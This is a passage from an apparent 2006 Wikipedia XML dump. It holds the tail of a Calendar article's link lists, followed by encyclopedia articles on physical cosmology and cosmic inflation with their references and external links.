*[http://www.tondering.dk/claus/calendar.html Frequently Asked Questions about Calendars]
*[http://88.1911encyclopedia.org/C/CA/CALENDAR.htm 1911 Encyclopaedia Britannica entry]
*[http://webexhibits.org/calendars/calendar.html Various calendars] described as part of the [http://webexhibits.org/calendars/index.html Calendars through the Ages] online exhibit
*[http://www.abcalendar.com Event Calendar] based on Wikipedia Content
*[http://kalender-365.de/calendar.php Perpetual Calendar 1800 - 2400] 
*[http://babymed.com/fertility-tools/calendar/calendar.asp Interactive Fertility and Pregnancy Calendar]
*[http://www5a.biglobe.ne.jp/~accent/calendar/index.htm Perpetual Calendar]
*[http://www.timeanddate.com/calendar/ Current calendar].
*[http://www.datedex.com/results.asp DateDex: Selected events on selected dates]
*[http://physics.nist.gov/GenInt/Time/ancient.html ''Ancient Calendars'' NIST website]
*[http://www.dcsi.net/~denmarks/yearlycalendar.html Yearly perpetual calendar]
*[http://www.dcsi.net/~denmarks/datecalc.html Date calculator]

[[Category:Calendars|*]]
[[ang:Gerímbóc]]
[[ar:&amp;#1578;&amp;#1602;&amp;#1608;&amp;#1610;&amp;#1605;]]
[[ast:Repurtoriu]]
[[bg:&amp;#1050;&amp;#1072;&amp;#1083;&amp;#1077;&amp;#1085;&amp;#1076;&amp;#1072;&amp;#1088;]]
[[be:&amp;#1050;&amp;#1072;&amp;#1083;&amp;#1103;&amp;#1085;&amp;#1076;&amp;#1072;&amp;#1088;]]
[[bn:&amp;#2474;&amp;#2462;&amp;#2509;&amp;#2460;&amp;#2495;&amp;#2453;&amp;#2494; (&amp;#2453;&amp;#2509;&amp;#2479;&amp;#2494;&amp;#2482;&amp;#2503;&amp;#2472;&amp;#2509;&amp;#2465;&amp;#2494;&amp;#2480;)]]
[[ca:Calendari]]
[[cs:M&amp;#283;s&amp;#237;c (kalend&amp;#225;&amp;#345;n&amp;#237;)]]
[[da:Kalender]]
[[de:Kalender]]
[[et:Kalender]]
[[el:&amp;#919;&amp;#956;&amp;#949;&amp;#961;&amp;#959;&amp;#955;&amp;#972;&amp;#947;&amp;#953;&amp;#959;]]
[[es:Calendario]]
[[eo:Kalendaro]]
[[fa:&amp;#1711;&amp;#1575;&amp;#1607;&amp;#1588;&amp;#1605;&amp;#1575;&amp;#1585;&amp;#1740;]]
[[fr:Calendrier]]
[[fy:Kalinder]]
[[io:Kalendario]]
[[ilo:Calendario]]
[[ia:Calendario]]
[[it:Calendario]]
[[he:&amp;#1500;&amp;#1493;&amp;#1495; &amp;#1513;&amp;#1504;&amp;#1492;]]
[[la:Calendarium]]
[[lt:Kalendorius]]
[[hu:Naptár]]
[[mi:Maramataka]]
[[nl:Kalender]]
[[ja:&amp;#26278;]]
[[no:Kalender]]
[[pl:Kalendarz]]
[[pt:Calendário]]
[[ru:&amp;#1050;&amp;#1072;&amp;#1083;&amp;#1077;&amp;#1085;&amp;#1076;&amp;#1072;&amp;#1088;&amp;#1100;]]
[[sl:Koledar]]
[[sr:&amp;#1050;&amp;#1072;&amp;#1083;&amp;#1077;&amp;#1085;&amp;#1076;&amp;#1072;&amp;#1088;]]
[[fi:Kalenteri]]
[[sv:Kalender]]
[[th:ปฏิทิน]]
[[tl:Kalendaryo (artikulo)]]
[[vi:L&amp;#7883;ch]]
[[uk:&amp;#1050;&amp;#1072;&amp;#1083;&amp;#1077;&amp;#1085;&amp;#1076;&amp;#1072;&amp;#1088;]]
[[zh:&amp;#21382;&amp;#27861;]]</text>
    </revision>
  </page>
  <page>
    <title>Physical cosmology</title>
    <id>5378</id>
    <revision>
      <id>40680945</id>
      <timestamp>2006-02-22T06:42:47Z</timestamp>
      <contributor>
        <username>Hbackman</username>
        <id>488126</id>
      </contributor>
      <comment>rv addition of spamlink</comment>
      <text xml:space="preserve">{{dablink|The page is about the physics subject. For other uses of the word, see [[Cosmology]].}}
{{Cosmology}}

'''Cosmology''', as a branch of [[astrophysics]], is the study of the large-scale structure of the [[universe]] and is concerned with fundamental questions about its formation and evolution. Cosmology involves itself with studying the motions of the celestial bodies and the [[first cause]]. For most of human history, it has been a branch of [[metaphysics]]. Cosmology as a [[science]] originates with the [[Copernican principle]], which implies that celestial bodies obey identical [[physical law]]s to those on earth, and [[Newtonian mechanics]], which first allowed us to understand those motions. This is now called [[celestial mechanics]]. '''Physical cosmology''', as it is now understood, began with the [[twentieth century]] development of [[Albert Einstein]]'s theory of [[general relativity]] and better [[astronomy|astronomical]] observations of extremely distant objects. 

The twentieth century advances made it possible to speculate about the origins of the universe and allowed scientists to establish the [[big bang]] as the leading cosmological theory, which most cosmologists now accept as the basis for their theory and observations. (Some people still advocate [[Non-standard cosmology|alternative cosmologies]] such as the [[plasma cosmology]] and [[steady state theory]], although professional cosmologists generally agree that the big bang best explains observations.) Physical cosmology, roughly speaking, deals with the very largest objects in the universe ([[galaxy|galaxies]], [[galaxy groups and clusters|clusters]] and [[superclusters]]), the very earliest distinct objects to form ([[quasars]]) and the very early universe, when it was nearly homogeneous ([[big bang|hot big bang]], [[cosmic inflation]] and the [[cosmic microwave background radiation]]).

Cosmology is unusual in [[physics]] for drawing heavily on the work of [[particle physics|particle physicists']] experiments, and [[research]] into phenomenology and even [[string theory]]; from [[astrophysics|astrophysicists]]; from [[general relativity]] research; and from [[plasma physics]].

== History of physical cosmology ==
{{seealso2|Timeline of cosmology|List of cosmologists}}

Modern cosmology developed along tandem observational and theoretical tracks. In 1915, Albert Einstein developed his theory of [[general relativity]]. At the time, physicists were prejudiced to believe in a perfectly static universe without beginning or end. Einstein added a [[cosmological constant]] to his theory to try to force it to allow for a static universe with matter in it. The so-called ''Einstein universe'' is, however, unstable. It is bound to eventually start expanding or contracting. The cosmological solutions of general relativity were found by [[Alexander Friedmann]], whose equations describe the [[Friedmann-Lemaître-Robertson-Walker]] universe, which may expand or contract. 

In the [[1910]]s, [[Vesto Melvin Slipher|Vesto Slipher]] and later [[Carl Wilhelm Wirtz]] interpreted the [[red shift]] of [[nebula|spiral nebulae]] as a [[Doppler shift]] that indicated they were receding from [[Earth]]. However, it is notoriously difficult to determine the distance to astronomical objects: even if it is possible to measure their [[angular size]] it is usually impossible to know their actual size or [[luminosity]]. They did not realize that the nebulae were actually galaxies outside our own [[Milky Way]], nor did they speculate about the cosmological implications. In [[1927]], the [[Belgium|Belgian]] [[catholic]] [[priest]] [[Georges Lemaître]] independently derived the Friedmann-Lemaître-Robertson-Walker equations and proposed, on the basis of the recession of spiral nebulae, that the universe began with the &quot;explosion&quot; of a &quot;primeval [[atom]]&quot;&amp;mdash;what was later called the big bang. In [[1929]], [[Edwin Hubble]] provided an observational basis for Lemaître's theory.  Hubble proved that the spiral nebulae were galaxies and measured their distances by observing [[Cepheid variable]] stars. He discovered a relationship between the [[redshift]] of a galaxy and its [[luminosity]]. He interpreted this as evidence that the galaxies are receding in every direction at speeds (relative to the Earth) directly proportional to their distance. This fact is known as [[Hubble's law]]. The relationship between distance and speed, however, was accurately ascertained only relatively recently: Hubble was off by a factor of ten.

Given the [[cosmological principle]], Hubble's law suggested that the universe was expanding.  This idea allowed for two opposing possibilities. One was Lemaître's Big Bang theory, advocated and developed by George Gamow. The other possibility was [[Fred Hoyle|Fred Hoyle's]] [[steady state model]] in which new matter would be created as the galaxies moved away from each other. In this model, the universe is roughly the same at any point in time.

For a number of years the support for these theories was evenly divided. However, the observational evidence began to support the idea that the universe evolved from a hot dense state. Since the discovery of the cosmic microwave background in [[1965]] it has been regarded as the best theory of the origin and evolution of the cosmos. Before the late [[1960s]], many cosmologists thought the infinitely dense [[singularity]] at the starting time of Friedmann's cosmological model was a mathematical over-idealization, and that the universe was contracting before entering the hot dense state and starting to expand again. This is [[Richard Tolman|Richard Tolman's]] [[oscillatory universe]]. In the sixties, [[Stephen Hawking]] and [[Roger Penrose]] demonstrated that this idea was unworkable, and the singularity is an essential feature of Einstein's gravity. This led the majority of cosmologists to accept the Big Bang, in which the universe we observe began a finite time ago.

==Areas of study==
Below, some of the most active areas of inquiry in cosmology are described, in roughly chronological order. This does not include all of the big bang cosmology, which is presented in [[cosmological timeline]].

===The very early universe===
While the early, hot universe appears to be well explained by the big bang from roughly 10&lt;sup&gt;-33&lt;/sup&gt; seconds onwards, there are several [[Big Bang#Standard Problems|problems]]. One is that there is no compelling reason, using current particle physics, to expect the universe to be [[shape of the universe|flat]], [[homogeneous]] and [[isotropic]] (see the [[cosmological principle]]). Moreover, [[grand unified theory|grand unified theories]] of particle physics suggest that there should be [[magnetic monopole]]s in the universe, which have not been found. These problems are resolved by a brief period of '''[[cosmic inflation]]''', which drives the universe to flatness; smooths out anisotropies and inhomogeneities to the observed level; and exponentially dilutes the monopoles. The physical model behind cosmic inflation is extremely simple, however it has not yet been confirmed by particle physics, and there are difficult problems reconciling inflation and [[quantum field theory]]. Some cosmologists think that [[string theory]] and [[brane cosmology]] will provide an alternative to inflation.

Another major problem in cosmology is what has caused the universe to contain more particles than [[antimatter|antiparticles]]. Cosmologists can use [[X-ray]] observations to deduce that the universe is not split into regions of matter and antimatter, but rather is predominantly made of matter. This problem is called the baryon asymmetry, and the theory to describe the resolution is called ''[[baryogenesis]]''. The theory of baryogenesis was worked out by [[Andrei Sakharov]] in 1967, and requires a violation of the particle physics [[Symmetry#Symmetry in physics|symmetry]], called [[CP-symmetry]], between matter and antimatter. Particle accelerators, however, measure too small a violation of CP-symmetry to account for the baryon asymmetry. Cosmologists and particle physicists are trying to find additional violations of the CP-symmetry in the early universe that might account for the baryon asymmetry.

Both the problems of baryogenesis and cosmic inflation of these problems are very closely related to particle physics, and their resolution might come from high energy theory and [[particle accelerator|experiment]], rather than through observations of the universe.

===Big bang nucleosynthesis===
{{Main|Big bang nucleosynthesis}}

'''Big Bang Nucleosynthesis''' is the theory of the formation of the elements in the early universe. It finished when the universe was about three minutes old and its [[temperature]] fell enough that [[nuclear fusion]] ceased. Because the time in which big bang nucleosynthesis occurred was so short, only the very lightest elements were produced, unlike in [[stellar nucleosynthesis]]. Starting from [[hydrogen]] [[ion]]s ([[proton]]s), it principally produced [[deuterium]], [[helium|helium-4]] and [[lithium]]. Other elements were produced in only trace abundances. While the basic theory of nucleosynthesis has been understood for decades (it was developed in 1948 by [[George Gamow]], [[Ralph Asher Alpher]]  and [[Robert Herman]]) it is an extremely sensitive probe of physics at the time of the big bang, as the theory of big bang nucleosynthesis connects the abundances of primordial light elements with the features of the early universe. Specifically, it can be used to test the [[equivalence principle]], to probe [[dark matter]] and test [[neutrino]] physics. Some cosmologists have proposed that big bang nucleosynthesis suggests there is a fourth &quot;sterile&quot; species of neutrino.

===Cosmic microwave background===
{{Main|Cosmic microwave background}}

The cosmic microwave background is radiation left over from [[decoupling]], when [[atoms]] first formed, and the radiation produced in the big bang stopped [[Thomson scattering]] from charged ions. The radiation, first observed in 1965 by [[Arno Penzias]] and [[Robert Woodrow Wilson]], has a perfect thermal [[black body|black-body]] spectrum. It has a temperature of 2.7 [[kelvin]]s today and is isotropic to one part in 10&lt;sup&gt;5&lt;/sup&gt;. [[Cosmological perturbation theory]], which describes the evolution of slight inhomogeneities in the early universe, has allowed cosmologists to precisely calculate the angular [[power spectrum]] of the radiation, and it has been measured by the recent satellite experiments ([[COBE]] and [[WMAP]]) and many ground and balloon-based experiments (such as [[Degree Angular Scale Interferometer]], [[Cosmic Background Imager]], and [[BOOMERanG experiment|Boomerang]]).  One of the goals of these efforts is to measure the basic parameters of the [[Lambda-CDM model]] with increasing accuracy, as well as to test the predictions of the big bang model and look for new physics. The recent measurements made by WMAP, for example, have placed limits on the neutrino masses.

Newer experiments are trying to measure the [[polarization]] of the cosmic microwave background, which will provide further confirmation of the theory as well as information about cosmic inflation, and the so-called secondary anisotropies, such as the [[Sunyaev-Zel'dovich effect]] and [[Sachs-Wolfe effect]], which are caused by interaction between [[galaxy|galaxies]] and [[galaxy groups and clusters|clusters]] with the cosmic microwave background.

===Formation and evolution of large-scale structure===
{{Main|Large-scale structure of the cosmos}}, ''[[Galaxy formation and evolution]]''

Understanding the formation and evolution of the largest and earliest structures (ie, [[quasar]]s, [[galaxy|galaxies]], [[galaxy groups and clusters|clusters]] and [[supercluster]]s) is one of the largest efforts in cosmology. Cosmologists study a model of '''hierarchical structure formation''' in which structures form from the bottom up, with smaller objects forming first, while the largest objects, such as superclusters, are still assembling. The most straightforward way to study structure in the universe is to survey the visible galaxies, in order to construct a three-dimensional picture of the galaxies in the universe and measure the matter [[power spectrum]]. This is the approach of the [[Sloan Digital Sky Survey]] and the [[2dF Galaxy Redshift Survey]].

An important tool for understanding these structure formation is simulations, which cosmologists use to study the gravitational aggregation of matter in the universe, as it clusters into [[filament (astronomy)|filaments]], superclusters and [[void]]s. Most simulations contain only non-baryonic [[cold dark matter]], which should suffice to understand the universe on the largest scales, as there is much more dark matter in the universe than visible, baryonic matter.  More advanced simulations are starting to include baryons and study the formation of individual galaxies. Cosmologists study these simulations to see if they agree with the galaxy surveys, and to understand any discrepancy.

Other, complementary techniques will allow cosmologists to measure the distribution of matter in the distant universe and to probe [[reionization]]. These include:
*The [[Lyman alpha forest]], which allows cosmologists to measure the distribution of neutral atomic hydrogen gas in the early universe, by measuring the absorption of light from distant quasars by the gas.
*The 21 centimeter adsorption line of neutral atomic hydrogen also provides a sensitive test of cosmology
*Weak lensing, the distortion of a distant image by [[gravitational lensing]] due to dark matter.
These will help cosmologists settle the question of when the first quasars formed.

===Dark matter===
{{Main|Dark matter}}

Evidence from big bang nucleosynthesis, the cosmic microwave background and structure formation suggests that about 25% of the mass of the universe consists of non-baryonic dark matter, whereas only 4% consists of visible, baryonic matter. The gravitational effects of dark matter are well understood, as it behaves like cold, [[Radioactive decay|non-radiative]] dust which forms around [[galactic halo|haloes]] around galaxies. Dark matter has never been detected in the laboratory: the particle physics nature of dark matter is completely unknown. However, there are a number of candidates, such as a stable [[supersymmetry|supersymmetric]] particle, a [[weakly interacting massive particle]], an [[axion]], a [[massive compact halo object]] or even a modification of gravity at small accelerations ([[MOND]]) or an effect from [[brane cosmology]].

The physics at the center of galaxies (see [[active galactic nuclei]], [[supermassive black hole]]) may give some clues about the nature of dark matter.

===Dark energy===
{{Main|Dark energy}}

If the universe is to be flat, there must be an additional component making up 71% (in addition to the 25% dark matter and 4% baryons) of the density of the universe. This is called dark energy. In order not to interfere with big bang nucleosynthesis and the cosmic microwave background, it must not cluster in haloes like baryons and dark matter. There is strong observational evidence for dark energy, as the total mass of the universe is known, since it is measured to be flat, but the amount of clustering matter is tightly measured, and is much less than this. The case for dark energy was strengthened in 1999, when measurements demonstrated that the expansion of the universe is accelerating, much like the more rapid acceleration during cosmic inflation.

However, apart from its density and its clustering properties, nothing is known about dark energy.  [[Quantum field theory]] predicts a [[cosmological constant]] much like dark energy, but 120 [[orders of magnitude]] too large. [[Steven Weinberg]] and a number of string theorists (see [[string landscape]]) have used this as evidence for the [[anthropic principle]], which suggests that the cosmological constant is so small because life (and thus physicists, to make observations) cannot exist in a universe with a large cosmological constant, but many people find this an unsatisfying explantion. Other possible explanations for dark energy include [[quintessence (physics)|quintessence]] or a modification of gravity on the largest scales. The effect on cosmology of the dark energy that these models describe is given by the dark energy's [[equation of state (cosmology)|equation of state]], which varies depending upon the theory. The nature of dark energy is one of the most challenging problems in cosmology.

A better understanding of dark energy is likely to solve the problem of the [[ultimate fate of the universe]]. In the current cosmological epoch, the accelerated expansion due to dark energy is preventing structures larger than superclusters from forming. It is not known whether the acceleration will continue indefinitely, perhaps even increasing and cause a [[big rip]], or whether it will eventually reverse.

===Other areas of inquiry===
Cosmologists also study:
*whether [[primordial black hole]]s were formed in our universe, and what happened to them.
*the [[GZK cutoff]] for high-energy cosmic rays, and whether it signals a failure of [[special relativity]] at high energies
*the [[equivalence principle]], and whether Einstein's general theory of relativity is the correct theory of gravity, and if the fundamental laws of physics are the same everywhere in the universe

==References==
===Popular reading===
* {{cite book | authorlink = Stephen Hawking | last = Hawking | first = Stephen W. | title = Brief History of Time: From the Big Bang to Black Holes | publisher = Bantam Books, Inc | year = 1998 | id = ISBN 0553380168 }}
* {{cite book | authorlink = Stephen Hawking | last = Hawking | first = Stephen W. | title = Universe in a Nutshell | publisher = Bantam Books, Inc | year = 2001 | id = ISBN 055380202X }}
* {{cite book | author = [[Simon Singh]] | title = Big bang: the origins of the universe | publisher = Fourth Estate | year = 2005 | id = ISBN 0007162219 }}
* {{cite book | author = [[Steven Weinberg]] | title = The First Three Minutes | publisher = Basic Books | year = 1993 | id = ISBN 0465024378 }}
* {{cite book | author = [[Brian Greene]] | title = The Fabric of the Cosmos | publisher = Penguin Books Ltd | year = 2005 | id = ISBN 0141011114 }}
* {{cite book | author = [[Alan Guth]] | title = The Inflationary Universe: The Quest for a New Theory of Cosmic Origins | publisher = Random House | year = 1997 | id = ISBN 0224044486 }}

===Textbooks===
* {{cite book | first = Scott | last = Dodelson | year = 2003 | title = Modern Cosmology | publisher = Academic Press | id = ISBN 0122191412 }} Released slightly before the WMAP results, this is the most modern introductory textbook.
* {{cite book | first = Edward | last = Harrison | year = 2000 | title = Cosmology: the science of the universe | publisher = Cambridge University Press | id = ISBN 052166148X }} A relatively unmathematical textbook.
* {{cite book | first = Marc | last = Kutner | title = Astronomy: A Physical Perspective | publisher = Cambridge University Press | year = 2003 | id = ISBN 0521529271 }} An introductory astronomy textbook.
* {{cite book | first = Edward | last = Kolb | coauthors = Michael Turner | title = The Early Universe | publisher = Addison-Wesley | year = 1988 | id = ISBN 0201116049 }} This is the classic reference for cosmologists.
* {{cite book | first = Andrew | last = Liddle | title = An Introduction to Modern Cosmology | publisher = John Wiley | year = 2003 | id = ISBN 0470848359 }} An introduction to cosmology without General Relativity
* {{cite book | first = Andrew | last = Liddle | coauthors = David Lyth | title = Cosmological Inflation and Large-Scale Structure | publisher = Cambridge | year = 2000 | id = ISBN 0521575932 }} An introduction to cosmology with a thorough discussion of inflation.
* {{cite book | first = Viatcheslav | last = Mukhanov | title = Physical Foundations of Cosmology | publisher = Cambridge University Press | year = 2005 | id = ISBN 0521563984 }}
* {{cite book | author = Padmanabhan, T. | title = Structure formation in the universe | publisher = Cambridge University Press | year = 1993 | id = ISBN 0521424860 }} Describes the formation of large-scale structures in detail.
* {{cite book | first = John | last = Peacock | title = Cosmological Physics | publisher = Cambridge University Press | year = 1998 | id = ISBN 0521422701 }} An introduction with more background on general relativity and quantum field theory than most.
* {{cite book | first = P. J. E. | last = Peebles | title = Principles of Physical Cosmology | publisher = Princeton University Press | year = 1993 | id = ISBN 0691019339 }} Peebles' book has a strong historical focus.
* {{cite book | first = P. J. E. | last = Peebles | title = The Large-Scale Structure of the Universe | publisher = Princeton University Press | year = 1980 | id = ISBN 0691082405 }} The classic work on large scale structure, in particular the discussion of correlation functions.
* {{cite book | first = Martin | last = Rees | title = New Perspectives in Astrophysical Cosmology | publisher = Cambridge University Press | year = 2002 | id = ISBN 0521645441 }}
* {{cite book | first = Steven | last = Weinberg | title = Gravitation and Cosmology | publisher = John Wiley | year = 1971 | id = ISBN 0471925675 }} An older book, but still a standard reference for a lot of the mathematical formalism.

==External references==
===From groups===
*[http://www.damtp.cam.ac.uk/user/gr/public/cos_home.html]-from the Cambridge University(Public Home Page)
*[http://map.gsfc.nasa.gov/m_uni.html Cosmology 101] - from the [[NASA]] [[WMAP]] group
*[http://www.pbs.org/wgbh/nova/origins/ Origins, Nova Online] - Provided by ''[[Public Broadcasting Service|PBS]]''.
* [http://dhost.info/cosmology/ Cosmology] -- Cosmology Of The Universe.
* [http://cfcp.uchicago.edu/ Center for Cosmological Physics]. [[University of Chicago]], [[Chicago, Illinois]].
* ''Dictionary of the History of Ideas'':
** [http://etext.lib.virginia.edu/cgi-local/DHI/dhi.cgi?id=dv1-64 Cosmic Images]
** [http://etext.lib.virginia.edu/cgi-local/DHI/dhi.cgi?id=dv1-66 Cosmology from Antiquity to 1850]
** [http://etext.lib.virginia.edu/cgi-local/DHI/dhi.cgi?id=dv1-67 Cosmology  since 1850]
*[http://www.shekpvar.net/~dennis/Elib/Astronomicon/Astronomicon/Cosmos/cosmos.html Cosmos - an Illustrated Dimensional Journey from microcosmos to macrocosmos] - from DNA Digital Nature Agency

===From individuals===
*  Gale, George, &quot;[http://plato.stanford.edu/entries/cosmology-30s/ Cosmology: Methodological Debates in the 1930s and 1940s]&quot;, ''The Stanford Encyclopedia of Philosophy'', Edward N. Zalta (ed.)
* Hoiland, Paul, &quot;''[http://cosmology.bravehost.com/ Modern Cosmology Examined]''&quot;''[http://tprints.ecs.soton.ac.uk/archive/00000033/01/MUSINGS_ON_THE_EVOLUTION_OF_A_COSMOS.pdf Musing on the Evolution of a Cosmos]'' Gouldsboro, Maine.
*  Jordan, Thomas F., &quot;''[http://arxiv.org/abs/astro-ph/0309756 Cosmology calculations almost without general relativity]''&quot;. ([[arXiv.org]])
* Madore, Barry F., &quot;''[http://nedwww.ipac.caltech.edu/level5/ Level 5] : A Knowledgebase for Extragalactic Astronomy and Cosmology''&quot;. Caltech and Carnegie. Pasadena, California, USA.
* Smith, Tony, &quot;''[http://www.innerx.net/personal/tsmith/cosm.html Cosmology] -- At the Millennium, Experimental Observations tell us a lot about Cosmology''&quot;. 
* Tyler, Pat, and Phil Newman &quot;''[http://universe.gsfc.nasa.gov/ Beyond Einstein]''&quot;. Laboratory for High Energy Astrophysics (LHEA) [[NASA]] [[Goddard Space Flight Center]].
*  Wright, Ned. &quot;''[http://www.astro.ucla.edu/~wright/cosmolog.htm Cosmology tutorial and FAQ]''&quot;. Division of Astronomy &amp; Astrophysics, UCLA.

{{Astronomy-footer}}

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[[Category:Cosmology]]

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  <page>
    <title>Cosmic inflation</title>
    <id>5382</id>
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        <username>Guettarda</username>
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      <text xml:space="preserve">{{Cosmology}} 
'''Cosmic inflation''' is the idea, first proposed by [[Alan Guth]] in 1981, that the nascent [[universe]] passed through a phase of [[exponential growth|exponential expansion]] (the [[inflationary epoch]]) that was driven by a negative pressure [[vacuum]] energy density.  This expansion is similar to a [[de Sitter universe]] with positive [[cosmological constant]]. As a direct consequence of this expansion, all of the observable universe originated in a small [[Causality (physics)|causally-connected]] region. [[Quantum fluctuation]]s in this microscopic region, magnified to cosmic size, then became the seeds for the growth of structure in the universe (see [[galaxy formation and evolution]]). The particle responsible for inflation is generally called the ''[[inflaton]]''.

The name of the theory was a semi-humorous reference to the economic [[inflation]] in the [[United States]] in the late 1970s.

==Motivation==
Inflation resolves [[Big Bang#Features, issues and problems|several problems]] in the [[Big Bang]] cosmology that were pointed out in the 1970s.  Among these are the observed flatness of the universe (the [[flatness problem]]), its extraordinary homogeneity on large (non-causally-connected) scales (the [[horizon problem]]), and its lack of any observed topological defects (the [[magnetic monopole|monopole problem]]), predicted by many [[Grand unification theory|Grand Unified Theories]]. Predictions of the standard model of inflation include [[shape of the universe|geometrical flatness]] of the universe and near [[scale invariance]] of the [[primordial fluctuations|primordial density fluctuations]] of the universe.  These have been confirmed to great accuracy by precision measurements of the [[cosmic microwave background]] (such as those made by the [[WMAP]] satellite) and surveys of the [[large-scale structure of the cosmos|distribution of galaxies]] observed by [[galaxy survey|galaxy surveys]] (such as the [[Sloan Digital Sky Survey]]). 

There are also consequences for high-energy [[particle physics]] near or at the [[Grand unification theory|GUT]] scale, as the simplest models of inflation have energies around the GUT scale, at 10&lt;sup&gt;15&lt;/sup&gt;[[GeV]]. During the 1980s, there were many attempts to relate the field that generates the vacuum energy to specific fields that were predicted by [[Grand unification theory|Grand Unified Theories]] or to use observations of the universe to constrain those theories. These efforts were largely fruitless and the exact nature of the particle or field that generates the vacuum energy density for inflation (the &quot;inflaton&quot;) remains a mystery: inflation is understood principally by its detailed predictions of the [[boundary condition|initial conditions]] for the hot big bang, and the particle physics is largely ''ad hoc'' modelling.

==Mechanism==

The original model of inflation,{{ref|guth}} proposed by [[Alan Guth]], had the universe in a [[false vacuum]]. The universe was in an exactly [[de Sitter universe|de Sitter]] phase. In this model, regions of non-inflating universe are created through the nucleation of bubbles of true vacuum, while the rest of the universe continues inflating. When two such bubbles collide, the vast energy of the bubble walls is converted into the particles seen at the beginning of the big bang. This process is called ''reheating''. Alan Guth has described the inflationary universe as the ultimate &quot;free lunch&quot;: new universes, similar to our own, are continuously produced in a vast inflating background. Gravitational interactions, in this case, circumvent the [[arrow of time]] problem (''i.e.'' the [[second law of thermodynamics]]) and [[conservation of energy]]. 

However, the original model of Guth fails because, in order to guarantee a sufficient amount of inflation to solve the standard problems, the bubble nucleation rate must be too low for bubble walls to collide and for the reheating process to actually work. This is called the &quot;graceful exit problem&quot; and Guth's original model is now called &quot;old inflation.&quot; [[Andrei Linde]]{{ref|linde}} and, independently, [[Andreas Albrecht]] and [[Paul Steinhardt]]{{ref|albrechtsteinhardt}} proposed a &quot;new inflation&quot; or &quot;slow-roll inflation&quot; in which the inflaton is modelled by a [[scalar field]] slowly rolling down a flat potential. In this model, the expansion of the universe is only approximately de Sitter, and the [[Hubble parameter]] is actually decreasing: the expansion is slowing. While the spectrum of fluctuations generated in the false vacuum de Sitter universe of old inflation is exactly scale-invariant, new inflation produces only a ''nearly'' scale invariant spectrum.{{ref|bardeen}} This means that information about the potential during inflation can be extracted, in principle, from the cosmic microwave background by measuring the [[spectral index]].

New inflation is generally eternal: that is, the process continues eternally. Although the scalar field is classically rolling down the potential, quantum fluctuations occasionally bring it back up the potential. These regions expand much faster than regions in which the inflaton has a lower potential energy. Thus, while inflation ends in some regions, the regions in which it continues are growing exponentially, and thus continue to dominate. This equilibrium, which was first described by [[Andrei Linde]],{{ref|eternal}} in which inflation ends in some regions while quantum mechanical fluctuations keep it going in the majority of the universe, is called &quot;eternal inflation&quot;. Inflation, however, cannot be eternal in the ''past'', and so does not solve the problem of initial conditions for the universe.{{ref|past}}

{{unsolved|physics|Is the theory of cosmic inflation correct, and if so, what are the details of this epoch? What is the hypothetical [[inflaton]] field giving rise to inflation?}}

One theoretical challenge for inflation arises from the need to [[fine tuning|fine tune]] the [[potential energy|potentials]] for the fields which may give rise to inflation: while the inflaton must have a large [[vacuum energy]] it must have a low [[mass]] (and a large [[Compton wavelength]]).  In addition, inflation causes rapid cooling of the universe and so it must be followed by a period of '''reheating''' before the hot big bang can begin. It is not known how reheating occurs, although several models have been proposed. Several different models have been proposed, including brane inflation and hybrid inflation, but on the whole inflation is believed to be difficult to derive naturally from [[string theory]]. One popular idea that has been suggested in the context of [[string theory]] and [[quantum gravity]] is that the universe actually contains many more dimensions of space than the three we experience, but that the universe only inflated along the three normal dimensions of space. This theory, called string gas cosmology, was proposed by [[Robert Brandenberger]] and [[Cumrun Vafa]]. It suggested that we have three large dimensions because of certain topological properties of colliding strings. However, considerable doubt has been cast on the practicability of these ideas.

The [[ekpyrotic]], [[cyclic model]]s and [[variable speed of  light]] cosmology are considered competitors to inflation.

==Observations==
Observationally, it is hoped that improved measurements of the [[cosmic microwave background]] will tell us more about inflation. In particular, high precision measurements of the [[polarization]] of the background radiation will tell us if the energy scale of inflation predicted by the simplest models is correct, and measurements of the spectrum of primordial fluctuations will tell us if our naive models of inflation can produce the correct primordial fluctuations. A ''perfectly'' scale invariant spectrum is generally considered incompatible with the simplest models of inflation as is a ''running'' spectral index (a spectrum with [[curvature]]). These sorts of measurements are expected to be performed by the [[Planck (satellite)|Planck satellite]], [[CLOVER array]] and other ground-based cosmic microwave background experiments.

As of [[2005]], it is unclear what relationship if any the period of cosmic inflation has to do with observations of [[dark energy]] in the universe. Dark energy, particularly [[quintessence (physics)|quintessence]] is broadly similar to inflation, but occurs at a much lower energy, 10&lt;sup&gt;-12&lt;/sup&gt;GeV, at least 27 [[orders of magnitude]] less than the scale of inflation.

== References ==
#{{note|guth}} A. H. Guth, &quot;The Inflationary Universe: A Possible Solution to the Horizon and Flatness Problems&quot;, ''Phys. Rev. D'' '''23''', 347 (1981).
#{{note|linde}} A. Linde, &quot;A New Inflationary Universe Scenario: A Possible Solution Of The Horizon, Flatness, Homogeneity, Isotropy And Primordial Monopole Problems&quot;, ''Phys. Lett. B'' '''108''', 389 (1982).
#{{note|albrechtsteinhardt}} A. Albrecht and P. J. Steinhardt, &quot;Cosmology For Grand Unified Theories With Radiatively Induced Symmetry Breaking,&quot; ''Phys. Rev. Lett.'' '''48''', 1220 (1982).
#{{note|bardeen}} J. M. Bardeen, P. J. Steinhardt and M. S. Turner, &quot;Spontaneous Creation Of Almost Scale-Free Density Perturbations In An Inflationary Universe,&quot; ''Phys. Rev. D'' '''28''', 679 (1983).
#{{note|eternal}} {{cite journal | author = A. Linde |title = Eternal chaotic inflation | journal = Mod. Phys. Lett. |volume = A1 | Page=81 |year =1986}} {{cite journal | author = A. Linde |title = Eternally existing self-reproducing chaotic inflationary universe | journal = Phys. Lett. |volume = B175 | Page=395&amp;ndash;400 |year =1986}}
#{{note|past}} {{cite journal |author = A. Borde, A. Guth and A. Vilenkin |title = Inflationary space-times are incomplete in past directions|journal = Phys. Rev. Lett.|volume=90|Page=151301|year=2003}} {{cite journal |author = A. Borde |title = Open and closed universes, initial singularities and inflation|journal = Phys. Rev. |volume=D50|Page=3692&amp;ndash;702|year=1994}} {{cite journal |author = A. Borde and A. Vilenkin |title = Eternal inflation and the initial singularity|journal = Phys. Rev. Lett.|volume=72|Page=3305&amp;ndash;9|year=1994}}

== Further reading ==
*A. Linde, [http://arxiv.org/abs/hep-th/0503203 ''Particle Physics and Inflationary Cosmology''] (Harwood, Chur, Switzerland, 1990).
*A. Linde, &quot;''[http://de.arxiv.org/abs/hep-th/0205259 chaotic inflation]''&quot;
*See also the [[physical cosmology#Textbooks|list of cosmology textbooks]]

== External links ==
* [http://nedwww.ipac.caltech.edu/level5/Guth/Guth_contents.html Was Cosmic Inflation The 'Bang' Of The Big Bang?], by Alan Guth, 1997
